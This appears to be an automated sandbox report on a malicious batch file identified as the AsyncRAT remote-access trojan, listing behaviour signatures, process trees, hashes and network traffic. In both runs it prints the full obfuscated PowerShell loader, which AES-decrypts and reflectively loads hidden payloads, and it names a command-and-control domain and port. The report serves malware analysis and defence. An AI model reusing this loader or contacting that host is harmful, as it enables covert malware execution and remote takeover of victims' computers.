Analysis Overview
SHA256
a16f958304ddf3e49a2b0b62ef813648424a945c31b7f82c29dd16bc0b02195a
Threat Level: Known bad
The file kam-2.cmd was found to be: Known bad.
Malicious Activity Summary
AsyncRat
Async RAT payload
Blocklisted process makes network request
Command and Scripting Interpreter: PowerShell
Suspicious use of WriteProcessMemory
Suspicious behavior: CmdExeWriteProcessMemorySpam
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
MITRE ATT&CK Matrix V13
Analysis: static1
Detonation Overview
Reported
2024-06-03 11:15
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-06-03 11:15
Reported
2024-06-03 11:18
Platform
win7-20240508-en
Max time kernel
122s
Max time network
122s
Command Line
Signatures
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: CmdExeWriteProcessMemorySpam
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2424 wrote to memory of 1948 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| PID 2424 wrote to memory of 1948 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| PID 2424 wrote to memory of 1948 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| PID 2424 wrote to memory of 1948 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\kam-2.cmd"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('odb0IKEis5i6Rg5JaaiDk8IE8mgfZBbD25rIujo7R8M='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xE29YxFqxSQ6NOosoKwDeg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $MBSqo=New-Object System.IO.MemoryStream(,$param_var); $sMDkJ=New-Object System.IO.MemoryStream; $dZjNn=New-Object System.IO.Compression.GZipStream($MBSqo, [IO.Compression.CompressionMode]::Decompress); $dZjNn.CopyTo($sMDkJ); $dZjNn.Dispose(); $MBSqo.Dispose(); $sMDkJ.Dispose(); $sMDkJ.ToArray();}function execute_function($param_var,$param2_var){ $robCr=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $tSjqT=$robCr.EntryPoint; $tSjqT.Invoke($null, $param2_var);}$ncCUm = 'C:\Users\Admin\AppData\Local\Temp\kam-2.cmd';$host.UI.RawUI.WindowTitle = $ncCUm;$yRgNv=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($ncCUm).Split([Environment]::NewLine);foreach ($JJKBM in $yRgNv) { if ($JJKBM.StartsWith(':: ')) { $ddBfs=$JJKBM.Substring(3); break; }}$payloads_var=[string[]]$ddBfs.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
Network
Files
memory/1948-2-0x0000000073FF1000-0x0000000073FF2000-memory.dmp
memory/1948-4-0x0000000073FF0000-0x000000007459B000-memory.dmp
memory/1948-3-0x0000000073FF0000-0x000000007459B000-memory.dmp
memory/1948-5-0x0000000073FF0000-0x000000007459B000-memory.dmp
memory/1948-6-0x0000000073FF0000-0x000000007459B000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-06-03 11:15
Reported
2024-06-03 11:18
Platform
win10v2004-20240426-en
Max time kernel
95s
Max time network
150s
Command Line
Signatures
AsyncRat
Async RAT payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 1792 wrote to memory of 2796 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| PID 1792 wrote to memory of 2796 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| PID 1792 wrote to memory of 2796 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\kam-2.cmd"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('odb0IKEis5i6Rg5JaaiDk8IE8mgfZBbD25rIujo7R8M='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xE29YxFqxSQ6NOosoKwDeg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $MBSqo=New-Object System.IO.MemoryStream(,$param_var); $sMDkJ=New-Object System.IO.MemoryStream; $dZjNn=New-Object System.IO.Compression.GZipStream($MBSqo, [IO.Compression.CompressionMode]::Decompress); $dZjNn.CopyTo($sMDkJ); $dZjNn.Dispose(); $MBSqo.Dispose(); $sMDkJ.Dispose(); $sMDkJ.ToArray();}function execute_function($param_var,$param2_var){ $robCr=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $tSjqT=$robCr.EntryPoint; $tSjqT.Invoke($null, $param2_var);}$ncCUm = 'C:\Users\Admin\AppData\Local\Temp\kam-2.cmd';$host.UI.RawUI.WindowTitle = $ncCUm;$yRgNv=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($ncCUm).Split([Environment]::NewLine);foreach ($JJKBM in $yRgNv) { if ($JJKBM.StartsWith(':: ')) { $ddBfs=$JJKBM.Substring(3); break; }}$payloads_var=[string[]]$ddBfs.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 13.86.106.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 240.221.184.93.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 69.31.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | asyncss.duckdns.org | udp |
| US | 12.202.180.134:8797 | asyncss.duckdns.org | tcp |
| US | 8.8.8.8:53 | 134.180.202.12.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 154.239.44.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 183.142.211.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 18.31.95.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 103.169.127.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 11.227.111.52.in-addr.arpa | udp |
Files
memory/2796-0-0x000000007493E000-0x000000007493F000-memory.dmp
memory/2796-1-0x0000000004F30000-0x0000000004F66000-memory.dmp
memory/2796-2-0x0000000074930000-0x00000000750E0000-memory.dmp
memory/2796-3-0x0000000005700000-0x0000000005D28000-memory.dmp
memory/2796-4-0x0000000074930000-0x00000000750E0000-memory.dmp
memory/2796-5-0x0000000005D30000-0x0000000005D52000-memory.dmp
memory/2796-7-0x0000000005EB0000-0x0000000005F16000-memory.dmp
memory/2796-6-0x0000000005DD0000-0x0000000005E36000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ie0pwxsp.10o.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/2796-17-0x0000000005F20000-0x0000000006274000-memory.dmp
memory/2796-18-0x00000000063C0000-0x00000000063DE000-memory.dmp
memory/2796-19-0x0000000006400000-0x000000000644C000-memory.dmp
memory/2796-20-0x0000000007C10000-0x000000000828A000-memory.dmp
memory/2796-21-0x0000000006990000-0x00000000069AA000-memory.dmp
memory/2796-22-0x00000000069C0000-0x00000000069C8000-memory.dmp
memory/2796-23-0x0000000007670000-0x000000000770C000-memory.dmp
memory/2796-24-0x0000000007660000-0x000000000766E000-memory.dmp
memory/2796-25-0x00000000077B0000-0x00000000077C2000-memory.dmp
memory/2796-28-0x0000000008840000-0x0000000008DE4000-memory.dmp
memory/2796-30-0x000000007493E000-0x000000007493F000-memory.dmp
memory/2796-31-0x0000000074930000-0x00000000750E0000-memory.dmp
memory/2796-32-0x0000000074930000-0x00000000750E0000-memory.dmp